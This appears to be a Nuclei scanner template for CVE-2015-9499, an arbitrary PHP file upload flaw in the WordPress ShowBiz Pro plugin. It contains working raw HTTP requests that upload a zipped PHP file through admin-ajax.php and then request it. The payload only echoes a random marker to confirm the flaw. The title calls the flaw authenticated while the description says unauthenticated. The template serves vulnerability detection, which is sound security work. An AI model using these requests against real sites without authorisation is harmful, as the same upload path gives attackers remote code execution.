WordPress ShowBiz Pro <= 1.7.1 - Authenticated Arbitrary File Upload to RCE

id: CVE-2015-9499

info:
  name: WordPress ShowBiz Pro <= 1.7.1 - Authenticated Arbitrary File Upload to RCE
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    The WordPress ShowBiz Pro plugin version <= 1.7.1 allows arbitrary PHP file upload via the `admin-ajax.php` endpoint.This leads to unauthenticated remote code execution.
  impact: |
    Attackers can upload and execute arbitrary PHP files without authentication, leading to complete server compromise and data breach.
  remediation: |
    Remove or disable the plugin immediately and update to a patched version if available.
  reference:
    - https://wpscan.com/vulnerability/1c8f1872-a699-464a-9c6b-f8a49ca22ecb/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-9499
    - https://packetstormsecurity.com/files/132737/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2015-9499
    cwe-id: CWE-434
    epss-score: 0.14775
    epss-percentile: 0.96253
    cpe: cpe:2.3:a:themepunch:showbiz_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: themepunch
    product: showbiz_pro
    framework: wordpress
  tags: cve,cve2015,wpscan,packetstorm,wp,wordpress,wp-plugin,showbiz,uplo,intrusive,vkev,vuln

variables:
  marker: "{{randstr}}"
  b64marker: "{{base64(marker)}}"
  filename: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJDMjlXCUnC1rnZg

        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="action"

        showbiz_ajax_action
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="client_action"

        update_plugin
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="update_file"; filename="{{filename}}.zip"
        Content-Type: application/zip

        {{zip('{{filename}}.php','<?php echo base64_decode(\'{{b64marker}}\'); ?>')}}
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body,'Update in progress...','wp-admin/admin.php?page=showbiz&view=sliders')"
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/showbizpro/temp/update_extract/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body,'{{marker}}')"
        condition: and
# digest: 4b0a00483046022100b33f58d1d539a882edc57126aced80369cbad728c89a632e9cdc287fc26f6389022100ede0fa5b81b2cbd9449cb061af6396a519509e98cd94f24ffb3e5e7ade913a44:922c64590222798bb761d5b6d8e72950